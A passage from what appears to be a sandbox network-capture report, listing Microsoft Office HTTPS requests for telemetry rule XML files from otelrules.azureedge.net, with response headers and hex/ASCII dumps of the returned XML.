2024-11-19 19:05:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	52392	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:36 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190536Z-r1d97b99577d6qrbhC1TEBux5s00000007ug00000000ncr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	52393	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:36 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190536Z-1777c6cb754xrr98hC1TEB3kag000000088000000000rxub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	52394	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:36 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190536Z-185f5d8b95c4bhwphC1NYCs8gw00000009a0000000009mkm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	52395	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:36 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190536Z-1777c6cb754wcxkwhC1TEB3c6w00000008d000000000gtf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	52396	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-1777c6cb754gc8g6hC1TEB966c00000008c000000000yuv4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	52397	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-r1d97b99577mrt4rhC1TEBftkc00000007r0000000006n2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 19:05:37 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	52398	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-185f5d8b95csp6jmhC1NYCwy6s0000000950000000004xg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:37 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	52399	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-185f5d8b95c68cvnhC1NYCfn7s0000000960000000008dnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:37 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	52400	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-185f5d8b95cdh56ghC1NYCk1x400000002y000000000ph5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:37 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	52401	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-185f5d8b95c9mqtvhC1NYCghtc000000092g000000012hg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	52402	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:37 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:37 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190537Z-r1d97b99577ckpmjhC1TEBrzs000000007rg00000000mvrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:38 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	52403	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:38 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
